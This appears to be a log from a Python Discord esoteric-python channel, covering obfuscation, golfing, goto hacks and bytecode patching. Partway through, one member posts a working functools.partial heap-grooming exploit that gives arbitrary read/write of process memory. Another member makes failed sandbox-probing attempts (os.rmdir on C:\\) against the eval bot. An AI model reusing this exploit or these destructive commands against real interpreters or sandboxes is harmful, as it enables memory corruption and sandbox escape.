#esoteric-python
1 messages · Page 13 of 1
Obfuscator.gs returns a dunder only way to make a string
Obfuscator.on returns a dunder only way to make a number
Obfuscator.ge returns a dunder only way to make an expression
its still buggy and lots of stuff isnt supported (because im the one who wrote that part)
It would be cool if walrus had some sort of dunder or whatever
You could make it easier to get higher numbers using shift and recursion
globals().__setitem__()
i'm still working on Obfuscator.ge() btw
ah nice
facepalming right now
does on support floats?
i forget
hm
you could probably support floats by getting two ints (the whole bit and the decimal bit), calling str on them, and then adding that with a . in the middle, then calling float on it
how about just using fractions
What's the use case of
xxx_xxx_W vs xxx_xxx
ah
i did walrus mode for Obfuscator.ge() btw
im gonna go add floats to .on
!e ```py
print(debug.add(debug).add(debug).add(debug))
print(debug.lshift(debug).lshift(debug))
@old socket :white_check_mark: Your 3.11 eval job has completed with return code 0.
001 | 4
002 | 4
!e
print(__name__.__eq__(__name__).__pos__() == __name__.__eq__(__name__))
@rugged owl :white_check_mark: Your 3.11 eval job has completed with return code 0.
True
You could remove .__pos__() from your default cache of 1
.__pos__() makes it an int
unless im overlooking something
without it it's True
and some behaviour might rely on 1 being an int
by checking the type of it
for example:
if type(thing) is int:
return something
elif type(thing) is bool:
return otherthing
etc
btw why do we handle bool in the same path as int
good question
i dont remember
it probably shouldnt be that way now that I think about it
idk what's happening but there's a problem with Obfuscator.on() ```py
Obfuscator().ge(2100)
'(:=(:=(:=(__:=(:=(:=(__:=(:=name.getitem(name.class().len())).add().len()).mul((:=.mul()))).lshift((:=(:=name.getitem(name.class().len())).add().add().len()))).lshift((______:=.mul()))).lshift((:=.mul()))).lshift((:=(:=.mul().invert().neg()).mul()))).lshift((:=.mul((:=.mul())))))'
(:=(__:=(:=(:=(:=(:=(__:=(:=name.getitem(name.class().len())).add().len()).mul((:=.mul()))).lshift((:=(:=name.getitem(name.class().len())).add().add().len()))).lshift((______:=.mul()))).lshift((:=.mul()))).lshift((:=(:=.mul().invert().neg()).mul()))).lshift((:=.mul((:=.mul(______))))))
633825300114114700748351602688
2100
1267650600228229401496703205376
it's missing something probably
what im going to do is return a string wrapped in a float call
except dunderified
oh it's missing a + 1 somewhere
ah
thats a
sizable difference
oh at least its a relatively easy fix (as long as you know where the +1 is missing from)
here ```py
pb, qb = qb, trunc(pb)
^
that's where i had to add it
ah
you know what im gonna do
im gonna go write some tests
(after i finish making on work with floats)
i have thought of doing that for a while now
from obfuscator import Obfuscator
Obfuscate = Obfuscator(taken=False) # obfuscator = Obfuscator(taken=False)
#: use above for "no walrus" mode
print(Obfuscate.on(2048), eval(Obfuscate.on(2048))) # dunders, 1024
👀
..., 1024
add the +1
yeah he discovered that just now lol
was it a coincidence we stumbled upon that a few minutes before you did
i did nothing but say "wow that number and that number are different"
.
i can't believe it was an off-by-one error
anyways updated
so logic for Obfuscator.ge() has been updated so that it returns from .object_repr_pair if v exists in it
previously it returned an unnecessarily long obfuscation for int (the type)
alr
I have a large optimization for the type nonsense I was doing in .ge
but it means that code obfuscated in one version of python might not work in another version
¯_(ツ)_/¯
i'm pretty sure that issue also exists in the initial obfuscator code
!e print(name.doc.doc.doc.doc.doc)
@old socket :white_check_mark: Your 3.11 eval job has completed with return code 0.
001 | str(object='') -> str
002 | str(bytes_or_buffer[, encoding[, errors]]) -> str
003 |
004 | Create a new string object from the given object. If encoding or
005 | errors is specified, then the object must expose a data buffer
006 | that will be decoded using the given encoding and error handler.
007 | Otherwise, returns the result of object.__str__() (if defined)
008 | or repr(object).
009 | encoding defaults to sys.getdefaultencoding().
010 | errors defaults to 'strict'.
I think this can go on forever, not sure
well
considering that str().__doc__ is a str()
yeah
it can
(until you run out of memory)
Can you even run out of memory for this?
maybe
if you do it enough in the python console the input buffer will be full
and if you do it in a file that file can eventually be full
Whats the buffer size of the input
thats ~platform specific~
Do you just obfuscate until it reaches target or minium chars possible?
its obfuscated until its all dunders
And what happens if you just run python with -u
until target yes
i wanna make it minimum chars as well while having it reach target because i don't want it taking too long to evaluate
-u applies when the program is running, I don't think it applies when you're typing things into the console
i could be remembering wrong
You could run -u on a module that has input then the stdin would be un-buffered
Or at least I think so? I've never tested so idk
yes
thats what -u does
Oh I see were you specifically mentioning about how much the terminal can take in
yeah
So that wouldn't be on python's end, it would be on your emulator
mhm
also, if you type enough into input it'll fill up an internal buffer that Python uses even if -u
because input waits for a newline
so theres a buffer there somewhere
@quartz wave added a pr
.on now supports floats
getting builtin/pre-existing classes has been optimised for .ge
and also there's typechecks on all the "public" (intended for the end user) methods
so now they throw Type or Value Error if something is passed to them that isn't meant to be
now im gonna go write some tests for the obfuscator
repr chacks that __repr__ returned string, not anything else
No, it is just proxy to real dict
There is float.as_integer_ratio()or something like that
thanks

!timeit
CRIT = 0
while CRIT != 1000000:
CRIT += 1
lies
!timeit
CRIT = 0
while CRIT != 1000000:
CRIT += 1
print(CRIT)
@sick hound not sure what I am supposed to look at here.
What are you trying to clock?
???, thoses were just random tests i was doing
seeing how long it takes to count to 1M +
I understand,. I thought you were testing the routine mentioned there.
ah
Let's do this again
Huh
Guess the newer one don't work
!e import('sys').stdout.write(chr(int(list((lambda x: map(lambda i: f'{ord(i):b}', x))((lambda decimals: bytes(decimals).decode())((lambda binary: [int(byte, 2) for byte in list(binary)])((lambda text: ([bin(ord(i)).replace('b', '') for i in str(text)]))("".join(map(lambda i: i, (i for i in (lambda string: [i for i in str(string)])(''.join(map(lambda x: (lambda l: chr(l))(int(x, 2)), ['110001'])))))))))))[0], 2)))
@lambda j: (import('importlib').import_module('sys').stdout.write(j),exec(r"""exec('print(' + ''.join(map(chr, import('zlib').decompress(b'''x\x9ceP\xcd\x0e\x820\x0c~\x95\xc6K\xdb\x84\x10\xf0\xb8W!\x1e6\x98Z3\xc0\x8c\x1d \xc6w\xb7\x83\xe0O\xdc\xa9\xdd\xf7\xd3\xafm\xaf\x91dH\x14dJD\xc1\xf6\xae\xb30\x1b\xe8\xed}\xef\xc4\xc0\x19\x1fc\xecH\xd8\xb8'\x1603\xbf\xb9\x9do\xa5\xb7a2\xe0\x96\xe4'\xda{.\xb5\x1a;O_\'\x83\x8d\x8b\x81&O\xcc\xf4\x02\x8e\x0c\xe71\xaeZ\x90\x01\xd6\x18\x1b\x8dO\x1fa\xf2s2@\x8d"\xb4\x05\xe12\xfa{\xb0\xad't\x9a\x08q\xf3\x91l2\xa5HY\xa1\x0eL\x87Cy\x1bU\xf6\xbb\x90\x14@\xf2Q\xec\x88*e\xb8\xe4\x80\xbfn\xdb\x7fN\x84\xf8g\xa7\xd7\xda\xcb`\xa0\xd5\x83\x06\x9d\x9bW\x9c\xf3~\@\x83u]UU\x8d\x1a\xe8\xfd\x9a\xea\xb4\xc2/z|x\xaa'''))) + ')')"""))
@lambda x: ''.join(chr(i) for i in x)
@lambda _: map(lambda x: int(x, 2), _)
@lambda _: _.delattr(0)
class _:
def delattr(self):
return (lambda x: map(lambda i: f'{ord(i):b}', x))((lambda decimals: bytes(decimals).decode())((lambda binary: [int(byte, 2) for byte in list(binary)])((lambda text: ([bin(ord(i)).replace('b', '') for i in str(text)]))("".join(map(lambda i: i, (i for i in (lambda string: [i for i in str(string)])(''.join(map(lambda x: (lambda l: chr(l))(int(x, 2)), ['101011']))))))))))
@unreal echo :white_check_mark: Your 3.11 eval job has completed with return code 0.
1+1
Could make it worse but no access to computer rn
imagine if python has goto or call/cc
!e
from ctypes import *
class PyUnicodeObject(Structure):
_fields_ = [
("ob_refcnt", c_ssize_t),
("ob_type", py_object),
("length", c_ssize_t),
("hash", c_int64),
("interned", c_uint, 2),
]
s = "Hello"
PyUnicodeObject.from_address(id(s)).interned = 2
@dry mirage :x: Your 3.11 eval job has completed with return code 139 (SIGSEGV).
001 | Objects/unicodeobject.c:1939: unicode_dealloc: Assertion failed: Immortal interned string died
002 | Enable tracemalloc to get the memory block allocation traceback
003 |
004 | object address : 0x7f3d6b7ab6b0
005 | object refcount : 0
006 | object type : 0x7f3d6c0cc440
007 | object type name: str
008 | object repr : <refcnt 0 at 0x7f3d6b7ab6b0>
009 |
010 | Fatal Python error: _PyObject_AssertFailed: _PyObject_AssertFailed
011 | Python runtime state: finalizing (tstate=0x00007f3d6c0fedb8)
... (truncated - too many lines)
Full output: https://paste.pythondiscord.com/muyegopeci.txt?noredirect
that article seems to assume that python has goto builtin?
there are libraries that add a sort of shim goto using debugging features/code manipulation but that article just reads weird
!e ```py
import sys, dis
@lambda c:c()
class goto:
def getattr(self, key):
return key
mul = getattr
@lambda c:c()
class label:
def getattr(self, key):
pass
def jump(frame, lbl):
instructions = [*dis.get_instructions(frame.f_code)]
loc = frame.f_lineno + 1
for idx, i1 in enumerate(instructions):
if i1.opname in ['LOAD_NAME', 'LOAD_GLOBAL'] and i1.argval == 'label':
i2 = instructions[idx + 1]
if i2.opname == 'LOAD_ATTR' and i2.argval == lbl:
if i1.starts_line is not None:
loc = i1.starts_line
break
else:
print(f'Warning: label .{lbl} cannot be jumped to')
break
else:
print(f'Warning: label .{lbl} not found')
def jumper(frame, event, arg):
frame.f_lineno = loc
frame.f_trace = global_trace
frame.f_trace = jumper
def global_trace(frame, event, arg):
if event == 'return' and frame.f_code == goto.getattr.code:
jump(frame.f_back, arg)
return global_trace
sys.settrace(global_trace)
i = 0
dest = 'start'
label .start
print(i)
if i >= 10:
dest = 'exit'
i += 1
goto * dest
label .exit
@rugged sparrow :white_check_mark: Your 3.11 eval job has completed with return code 0.
001 | 0
002 | 1
003 | 2
004 | 3
005 | 4
006 | 5
007 | 6
008 | 7
009 | 8
010 | 9
011 | 10
with a little effort you can implement goto using tracefunctions
I also wrote a version that did bytecode modification using ctypes once that let you jump from more locations (like a or goto .b worked with that version)
As far as you know is there any way to get the reference to a custom class passed via argument like you can for a function?
For instance
def test():
print('something')
a = test
here a would contain a ref to a ...
But what if I want to get a reference to the class of an argument passed within the function?
def test(something: mycustomclass):
print('something')
I believe it's supposed to refer to https://entrian.com/goto/
but it is a pretty shitty article
It looks scraped from that entrian link lol
I golfed the collatz conjecture as much as i could```py
f=lambda n:[n]+(c:=lambda e:[]if e==1 else[(e:=[e//2,e*3+1][e%2])]+c(e))(n)
f=lambda n:[n]+(c:=lambda e:[]if e<2else[(e:=[e//2,e*3+1][e&1])]+c(e))(n)
!e
code
!e
f=lambda n:[n]+(c:=lambda e:[]if e<2else[(e:=[e//2,e*3+1][e&1])]+c(e))(n)
@sick hound :white_check_mark: Your 3.11 eval job has completed with return code 0.
<string>:1: SyntaxWarning: invalid decimal literal
LOL
runs fine
65 ```py
f=lambda n:[n]+(c:=lambda e:(e<2)[e:=[e//2,e3+1][e&1]]+c(e))(n)
oop I'm very late to this party but I have a fun one somewhere
I've got an example somewhere on my cursed file on my pc, but long story short you can abuse dunders like __contains__, which implicitly calls bool on whatever you return from it
x and True
x is not 0 8.4 ns ± 5.4 ns [2.0 s / 103931823]
x and True 11 ns ± 2.8 ns [2.0 s / 93132314]
not not x 12 ns ± 3.2 ns [2.0 s / 88755001]
x != 0 14 ns ± 3.4 ns [2.0 s / 81360992]
bool(x) 19 ns ± 4.7 ns [2.0 s / 67545463]
str(x) != "0" 73 ns ± 20 ns [2.0 s / 24490390]
(True, False)[0**x] 79 ns ± 20 ns [2.0 s / 22502519]
``` nice, it is the second fastest idea
fastest without syntax warnings xd
😄
wait
>>> 0 and True
0
>>> 1 and True
True
you are disqualified
>>> 1 and True or False
True
>>> 0 and True or False
False
x is not 0 8.6 ns ± 1.3 ns [2.1 s / 108029255]
x and True or False 11 ns ± 863 ps [2.1 s / 95886623]
not not x 12 ns ± 2.1 ns [2.1 s / 92326735]
x != 0 14 ns ± 623 ps [2.0 s / 80819494]
bool(x) 19 ns ± 2.9 ns [1.9 s / 64587302]
str(x) != "0" 75 ns ± 5.3 ns [2.0 s / 23726655]
(True, False)[0**x] 80 ns ± 7.8 ns [2.0 s / 21893201]
x and True or False is not slower for some reason
>>> dis('x and True')
0 0 RESUME 0
1 2 LOAD_NAME 0 (x)
4 JUMP_IF_FALSE_OR_POP 2 (to 10)
6 LOAD_CONST 0 (True)
8 RETURN_VALUE
>> 10 RETURN_VALUE
>>> dis('x and True or False')
0 0 RESUME 0
1 2 LOAD_NAME 0 (x)
4 POP_JUMP_FORWARD_IF_FALSE 2 (to 10)
6 LOAD_CONST 0 (True)
8 JUMP_IF_TRUE_OR_POP 2 (to 14)
>> 10 LOAD_CONST 1 (False)
12 RETURN_VALUE
>> 14 RETURN_VALUE
double RETURN_VALUE 🧐
it is not slower because in my tests x is truthy, so it executes the same branch
if x is falsy it will be slower a bit
if x:
pass
calls __bool__ iirc
x should be slower when truthy though
I need expression, not statement
I'll test that
failed branch and 1 unnecessary jump in the truthy path
1jump in the falsy path
ah.
alr
True if x else False
calls bool(x)
and returns the result
Optimization 
i'm having a weird issue with a sub process created with os.fork where the underlying process calls getpass() which writes directly to /dev/tty which gets into my program output, has anyone ever seen anything like this or have any ideas about how to suppress or redirect that sort of output?
i've already tried a bunch of methods of suppressing stdout and stderr and then discovered it was writing directly to my /dev/tty
is it possible to just change the current tty before calling execlp on the fork?
any ideas?
i am using fork and execlp because it's running in a multiprocess context and it needs to not block, subprocess module was blocking for me
You want forkpty most likely
going to look into this thank you
you might be able to dup2 to replace the fd that they're using for /dev/tty with /dev/null
i was trying stuff like that but it was difficult to locate the tty fd
i may try that route again forkpty needs a refactor for its input args brain hurts rn
drank some strawberry milk waiting for the fat to hit my brain lmao
my output module broke too in the middle of debugging this so now i'm like 2 issues deep blehhh
why do i do this on a sunday
hm
what if you just chroot the process and make a fake /dev/tty
so its not writing output to anything except a fake file
which can be a symlink to /dev/null
idk if that would work im just spitballing here lmao
i dont know if this is esoteric but
import winsound
import time
a3f = 208
b3f = 233
b3 = 247
c4 = 261 # middle c
c4s = 277
e4f = 311
f4 = 349
a4f = 415
b4f = 466
b4 = 493
c5 = 523
c5s = 554
e5f = 622
f5 = 698
f5s = 740
a5f = 831
rest = -1
beatlen = 100
beatsep = 0.3
intro = [c5s, e5f, e5f, f5, a5f, f5s, f5, e5f, c5s, e5f, rest, a4f, a4f]
introry = [6, 10, 6, 6, 1, 1, 1, 1, 6, 10, 4, 2, 10]
verse1 = [rest, c4s, c4s, c4s, c4s, e4f, rest, c4, b3f, a3f,
rest, b3f, b3f, c4, c4s, a3f, a4f, a4f, e4f,
rest, b3f, b3f, c4, c4s, b3f, c4s, e4f, rest, c4, b3f, b3f, a3f,
rest, b3f, b3f, c4, c4s, a3f, a3f, e4f, e4f, e4f, f4, e4f,
c4s, e4f, f4, c4s, e4f, e4f, e4f, f4, e4f, a3f,
rest, b3f, c4, c4s, a3f, rest, e4f, f4, e4f]
verse1ry = [2, 1, 1, 1, 1, 2, 1, 1, 1, 5,
1, 1, 1, 1, 3, 1, 2, 1, 5,
1, 1, 1, 1, 1, 1, 1, 2, 1, 1, 1, 1, 3,
1, 1, 1, 1, 2, 1, 1, 1, 1, 1, 1, 4,
5, 1, 1, 1, 1, 1, 1, 1, 2, 2,
2, 1, 1, 1, 3, 1, 1, 1, 3]
chorus = [b4f, b4f, a4f, a4f,
f5, f5, e5f, b4f, b4f, a4f, a4f, e5f, e5f, c5s, c5, b4f,
c5s, c5s, c5s, c5s,
c5s, e5f, c5, b4f, a4f, a4f, a4f, e5f, c5s,
b4f, b4f, a4f, a4f,
f5, f5, e5f, b4f, b4f, a4f, a4f, a5f, c5, c5s, c5, b4f,
c5s, c5s, c5s, c5s,
c5s, e5f, c5, b4f, a4f, rest, a4f, e5f, c5s, rest]
chorusry = [1, 1, 1, 1,
3, 3, 6, 1, 1, 1, 1, 3, 3, 3, 1, 2,
1, 1, 1, 1,
3, 3, 3, 1, 2, 2, 2, 4, 8,
1, 1, 1, 1,
3, 3, 6, 1, 1, 1, 1, 3, 3, 3, 1, 2,
1, 1, 1, 1,
3, 3, 3, 1, 2, 2, 2, 4, 8, 4]
song = intro + verse1 + chorus + verse1 + chorus + chorus + verse1
songry = introry + verse1ry + chorusry + verse1ry + chorusry + chorusry + verse1ry
def play():
for i in range(0, len(song) - 1):
print(song[i], songry[i])
if song[i] != rest:
winsound.Beep(song[i], songry[i]*beatlen)
else:
time.sleep((songry[i]*beatlen)/1000)
time.sleep((beatsep*beatlen)/1000)
if __name__ == "__main__":
play()
if this isn't a rickroll i'm gonna be disappointed
nice
interesting notation
Looks like a chess engine
not really
that's not chess notation
!e decorators go brr ```py
from functools import partial
@partial(map, iterable=range(10))
def sum_of_nums(x):
acc = 0
for i in range(x):
acc += i
return acc
print(acc)
@gleaming timber :x: Your 3.11 eval job has completed with return code 1.
001 | Traceback (most recent call last):
002 | File "<string>", line 3, in <module>
003 | TypeError: map() takes no keyword arguments
bruh

!e ```py
def rpartial(func, *pa, **pk):
def inner(*a, **k):
return func(*a, *pa, **(k | pk))
return inner
@rpartial(map, range(10))
def sum_of_nums(x):
acc = 0
for i in range(x):
acc += i
return acc
print(list(sum_of_nums))
@pure dew :white_check_mark: Your 3.11 eval job has completed with return code 0.
[0, 0, 1, 3, 6, 10, 15, 21, 28, 36]
@gleaming timber
but you can also just do this
!e ```py
sums = lambda x: [sum(range(i)) for i in range(x)]
print(sums(10))
@pure dew :white_check_mark: Your 3.11 eval job has completed with return code 0.
[0, 0, 1, 3, 6, 10, 15, 21, 28, 36]
!e ```py
def mapwith(iterable):
def res(function):
return map(function, iterable)
return res
@mapwith(range(10))
def sums(x):
acc = 0
for i in range(1, x+1):
acc += i
return acc
print(*sums)
@gleaming timber :white_check_mark: Your 3.11 eval job has completed with return code 0.
0 1 3 6 10 15 21 28 36 45
just playing around with decorators
!e ```py
def mapwith(*iterables):
def res(function):
return map(function, *iterables)
return res
@mapwith(range(10),range(0,20,2))
def sums(x,y):
acc = 0
for i in range(1, x+1):
acc += y+i
return acc
print(*sums)
@quartz wave :white_check_mark: Your 3.11 eval job has completed with return code 0.
0 3 11 24 42 65 93 126 164 207
is this the worlds crapiest rick-roll?
import dis
from ctypes import *
def a_plus_b(a, b):
return a + b
def modify_code(code_obj):
addr_code_obj = id(code_obj)
addr_co_code = id(code_obj.co_code)
co_code_raw = cast(c_void_p(addr_co_code), POINTER(c_ubyte))
co_code_raw_bytes = bytearray(co_code_raw[0:60])
codestring_offset = co_code_raw_bytes.index(code_obj.co_code)
binary_add_opcode = dis.opmap['BINARY_ADD']
binary_sub_opcode = dis.opmap['BINARY_SUBTRACT']
binary_add_offset = co_code_raw_bytes.index(binary_add_opcode, codestring_offset)
co_code_raw[binary_add_offset] = binary_sub_opcode
def main():
print("Before==")
print(f"a_plus_b(7, 5)={a_plus_b(7, 5)}")
modify_code(a_plus_b.__code__)
print()
print("After==")
print(f"a_plus_b(7, 5)={a_plus_b(7, 5)}")
if __name__ == "__main__":
main()
Runtime modification of code objects
f"{a_plus_b(7, 5)=}" 😔
also we're already in python 3.11
python 3.10 was last year
oop i found a bug in partial
how
im writing a POC, its nothing serious
POC?
proof of concept
Im writing some code that uses the bug to do something interesting (memoryview over the entire memory space is a personal favorite of mine)
progress
do show
working on it
!e ```py
from functools import partial
from array import array # avoids need for using a Read After Free in make_pair to get bytearray address
length = 150 # seems most stable
def make_pair():
# heap grooming
# returns tuple, bytearray pair where array exists directly after end of tuple
fill = bytes((length // 2) * tuple.itemsize)
r = range(length // 2) # do these now so that we need less allocs later
old = [] # store failures to increase memory pressure
while True:
t = tuple(r)
b = array('b', fill)
b_addr, _ = b.buffer_info()
if id(t) + t.sizeof() == b_addr:
return t, b
old.append((t, b))
p = partial(id)
bytearray_mem = memoryview(bytearray(bytearray.basicsize)).cast('P')
bytearray_mem[0] = 1 # refcount
bytearray_mem[1] = id(bytearray) # ob_type
bytearray_mem[2] = (2 ** (tuple.itemsize * 8) - 1) // 2 # ob_size
bytearray_mem = bytearray_mem.tobytes()
class Fake:
slots = ['value']
def repr(self):
raise Exception(memoryview(self.value))
Fake_mem = memoryview(bytearray(Fake.basicsize)).cast('P')
Fake_mem[0] = 1 # refcount
Fake_mem[1] = id(Fake) # ob_type
Fake_mem[2] = id(bytearray_mem) + bytes.basicsize - 1
Fake_mem = Fake_mem.tobytes()
class WeirdRepr:
def repr(self):
global b # otherwise it is freed after function and that causes more problems
t, b = make_pair()
p.setstate((id, t, {}, {}))
mem = memoryview(b).cast('P')
for i in range(len(mem)):
mem[i] = id(Fake_mem) + bytes.basicsize - 1
return 'Wack'
p.setstate((id, (WeirdRepr(),) * length, {}, {}))
try:
repr(p)
except Exception as e:
mem = e.args[0]
print(mem, len(mem))``` @pure dew @quartz wave @fleet bridge
hmm the heap groom doesn't work too well on the bot
@rugged sparrow :warning: Your 3.11 eval job timed out or ran out of memory.
[No output]
it almost killed my pc
if i hadn't closed it it'd probably crash the whole pc
try messing with the length value
i need to work on making the heap groom more consistent, but it works on my macbook
damn
it consumed 400 mb of memory in a second
the actual bug exists due to assumptions made in partial.__repr__ and how partial.__setstate__ works
oops
yea itll do that, it stores fails to increase memory pressure, it makes the heap groom more likely
what value am i supposed to set it to
length 1 consumes at least 100 mb of RAM in a second
i use 150 on my macbook, so it will allocate a 75 item tuple and a 75*`tuple.__itemsize__ array
yea 1 will never work due to interned values
and it needs to be a multiple of 2 (for rn)
how about 2
that also probably won't work
!e ```py
from array import array # avoids need for using a Read After Free in make_pair to get bytearray address
length = 150 # seems most stable
def make_pair():
# heap grooming
# returns tuple, bytearray pair where array exists directly after end of tuple
fill = bytes((length // 2) * tuple.itemsize)
r = range(length // 2) # do these now so that we need less allocs later
old = [] # store failures to increase memory pressure
for i in range(200):
t = tuple(r)
b = array('b', fill)
b_addr, _ = b.buffer_info()
print(b_addr - id(t) + t.sizeof())
if id(t) + t.sizeof() == b_addr:
return t, b
old.append((t, b))
t, b = make_pair()``` use this to look for the correct value
@rugged sparrow :x: Your 3.11 eval job has completed with return code 1.
001 | -72368
002 | 45840
003 | -48
004 | 60752
005 | -19408
006 | 4000
007 | 13408
008 | 4560
009 | 1264
010 | 1264
011 | 1264
... (truncated - too many lines)
Full output: https://paste.pythondiscord.com/erajocikoc.txt?noredirect
you want a length where the printed value gets as low as possible
!e ```py
from functools import partial
from array import array # avoids need for using a Read After Free in make_pair to get bytearray address
length = 102 # seems most stable
def make_pair():
# heap grooming
# returns tuple, bytearray pair where array exists directly after end of tuple
fill = bytes((length // 2) * tuple.itemsize)
r = range(length // 2) # do these now so that we need less allocs later
old = [] # store failures to increase memory pressure
while True:
t = tuple(r)
b = array('b', fill)
b_addr, _ = b.buffer_info()
if id(t) + t.sizeof() == b_addr:
return t, b
old.append((t, b))
p = partial(id)
bytearray_mem = memoryview(bytearray(bytearray.basicsize)).cast('P')
bytearray_mem[0] = 1 # refcount
bytearray_mem[1] = id(bytearray) # ob_type
bytearray_mem[2] = (2 ** (tuple.itemsize * 8) - 1) // 2 # ob_size
bytearray_mem = bytearray_mem.tobytes()
class Fake:
slots = ['value']
def repr(self):
raise Exception(memoryview(self.value))
Fake_mem = memoryview(bytearray(Fake.basicsize)).cast('P')
Fake_mem[0] = 1 # refcount
Fake_mem[1] = id(Fake) # ob_type
Fake_mem[2] = id(bytearray_mem) + bytes.basicsize - 1
Fake_mem = Fake_mem.tobytes()
class WeirdRepr:
def repr(self):
global b # otherwise it is freed after function and that causes more problems
t, b = make_pair()
p.setstate((id, t, {}, {}))
mem = memoryview(b).cast('P')
for i in range(len(mem)):
mem[i] = id(Fake_mem) + bytes.basicsize - 1
return 'Wack'
p.setstate((id, (WeirdRepr(),) * length, {}, {}))
try:
repr(p)
except Exception as e:
mem = e.args[0]
print(mem, len(mem))``` @quartz wave this one should work
@rugged sparrow :white_check_mark: Your 3.11 eval job has completed with return code 0.
<memory at 0x7efd49978940> 9223372036854775807
102 gives the right pressure for the bot
works
sweet
its a neat bug
i had to use my repr trick to get a reference to the faked value
how is this supposed to be used
it gives you a memoryview that points to 0 with a max length. you can use it to read/write memory everywhere
oh
i just use it as a proof of concept that the bug can lead to usable memory corruption
i can't believe i don't need C to do random stuff
not when there are bugs to exploit lol
wow ```py
mem[0]
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
SystemError: error return without exception set
can literally fake NULL
why doesn't it work when i run it with -Xdev though
<memory at 0x10b395b40> 9223372036854775807
>>> mem[id(100) + int.__basicsize__] = 255
>>> 100
255
>>>
``` no idea, probably a different allocator
-X dev: enable CPython's "development mode", introducing additional runtime
checks which are too expensive to be enabled by default. Effect of the
developer mode:
* Add default warning filter, as -W default
* Install debug hooks on memory allocators: see the PyMem_SetupDebugHooks()
C function
* Enable the faulthandler module to dump the Python traceback on a crash
* Enable asyncio debug mode
* Set the dev_mode attribute of sys.flags to True
* io.IOBase destructor logs close() exceptions
``` yup
so -Xdev would need a different length value (or may need a more specific heap groom technique)
i can get the reference count of 4 ```py
fm=mem[:len(mem)-7]
fm[id(4):].cast('n')[0]
1000000084
yea makes sense, mem can be used to read/write to any memory of the python process
>>> a=5.6;fm[id(a)+object.__basicsize__:].cast('d')[0]
5.6
``` this is crazy
you can make the same object with ctypes using memoryview((c_char * Py_SSIZET_MAX).from_address(0)).cast('b')
but this is neat because you can make it with functools.partial
Is from_address the real address or relative to process memory? Since I don't think any OS will allow a user mode process access to the real 0x0 offset
Right, didn't read this
its the 0 of the python process
means that is effectively like a C function that takes in a pointer and just reads or write to that memory
This reminds me of ReadProcessMemory / WriteProcessMemory
yea its a bit like that. I just did it with a use out of bounds bug in functools.partial.__repr__
ctypes.from_address must be doing that internally or accessing the process heap
i think all ctypes.from_address does is make an instance of the given type and then set its address to the passed in one
Well in C, if you assign a pointer to an address of 0, it will result in an access violation when dereferenced. So I think ctypes.from_address does something more
Modules/_ctypes/_ctypes.c lines 586 to 599
static PyObject *
CDataType_from_address(PyObject *type, PyObject *value)
{
void *buf;
if (!PyLong_Check(value)) {
PyErr_SetString(PyExc_TypeError,
"integer expected");
return NULL;
}
buf = (void *)PyLong_AsVoidPtr(value);
if (PyErr_Occurred())
return NULL;
return PyCData_AtAddress(type, buf);
}```
address 0 isnt referenced, its just stored. then when the item is used its accessing 0 + offset
so if you do 0 + 0 then yea it will probably crash
aww ```py
mem[0]=2
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
SystemError: error return without exception set
^ that is because inside memoryview internally checks if you are trying to access a null address (not intentionally)
Objects/memoryobject.c lines 2369 to 2374
if (view->ndim == 1) {
char *ptr = ptr_from_index(view, index);
if (ptr == NULL)
return NULL;
return unpack_single(self, ptr, fmt);
}```
it assumes that ptr can only be NULL if ptr_from_index fails
when you do mem[0] ptr_from_index succeeds, and returns NULL lol
damn
What exactly is the bug in partial? Or at least what makes partial exploitable this way?
Hey, I want to learn how to one-line stuff.
Where should I start? Any tips?
!eval ```py
import math
def gcrypt(t):
ct=""
for c in t:
α,*γ,β=[map(int,f"{ord(c)}")]
p=α+β+(γ:=1if not γ else γ[0])
S=math.frexp(abs(((2~γ)**2)*math.sin(~α)*math.sin(~β)*math.sin(p)))[0]
ct+=chr(sum(map(int,[*f"{S}"[2:]])))
return ct
a = "Hello World Hello World Hello World Hello World Hello World"
b = gcrypt(a)
print(a,b)
@sly root :white_check_mark: Your 3.11 eval job has completed with return code 0.
001 | <string>:7: SyntaxWarning: invalid decimal literal
002 | Hello World Hello World Hello World Hello World Hello World G^QQOP4OPQJPG^QQOP4OPQJPG^QQOP4OPQJPG^QQOP4OPQJPG^QQOP4OPQJ
question, whats the goal?
i was trying to write a new hashing function
in fact it creates a triangle from a character code point, and converts its square to the character
the formula here is 2R^2 * sin alpha * sin beta * sin gamma
interesting
lemmie know if any advancements are made this looks really cool
!e
import random,typing,time,hmac,hashlib
def RANDOM_SEED(length: int = 5, chars: typing.Sequence[str] = list("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789")) -> str:
return "".join(random.choice(chars) for _ in range(length))
def CREATE_ID(username: str, dimiter: bool = True) -> str:
if dimiter:
return f"{RANDOM_SEED()}-{int(time.time())}-{hmac.new(b'0x30x40x50x80x10x8-0x3', username.encode(), hashlib.md5).hexdigest()}"
return f"{RANDOM_SEED()}{int(time.time())}{hmac.new(b'0x30x40x50x80x10x8-0x3', username.encode(), hashlib.md5).hexdigest()}"
print(CREATE_ID('Testing'))
@sick hound :white_check_mark: Your 3.11 eval job has completed with return code 0.
wvzXg-1671456338-715e58e51ab3394227564ba68c058af6
@sly root This is my attempt at a unique id (NOT A HASH)
I used this in my websites DB for user id's
!e
bot.close()
@karmic pumice :x: Your 3.11 eval job has completed with return code 1.
001 | Traceback (most recent call last):
002 | File "<string>", line 1, in <module>
003 | NameError: name 'bot' is not defined
LAMO, its in a snek-box all envs are private.
!e
print("Hello world.")
@karmic pumice :white_check_mark: Your 3.10 eval job has completed with return code 0.
Hello world.
hey is there source for this?
just saw the about me
wait
there is
they do realize that they could just put the whole bot in one file lol
!e
import os
os.rmdir("C\")
@karmic pumice :x: Your 3.11 eval job has completed with return code 1.
001 | File "<string>", line 2
002 | os.rmdir("C\")
003 | ^
004 | SyntaxError: unterminated string literal (detected at line 2)
!e
import os
os.rmdir("C\\")
@karmic pumice :x: Your 3.11 eval job has completed with return code 1.
001 | Traceback (most recent call last):
002 | File "<string>", line 2, in <module>
003 | OSError: [Errno 30] Read-only file system: 'C\\'
yep thought so
SNEKBOX
Yeah
TO-DO: INSTALL SNEKBOX
WHY AM I YELLING
IT'S WEIRD
!e
# This shouldn't do anything
@karmic pumice :warning: Your 3.11 eval job has completed with return code 0.
[No output]
thought so
@sick hound :white_check_mark: Your 3.11 eval job has completed with return code 0.
001 | @AquaQuokka run commands in #bot-commands
002 | @AquaQuokka run commands in #bot-commands
003 | @AquaQuokka run commands in #bot-commands
004 | @AquaQuokka run commands in #bot-commands
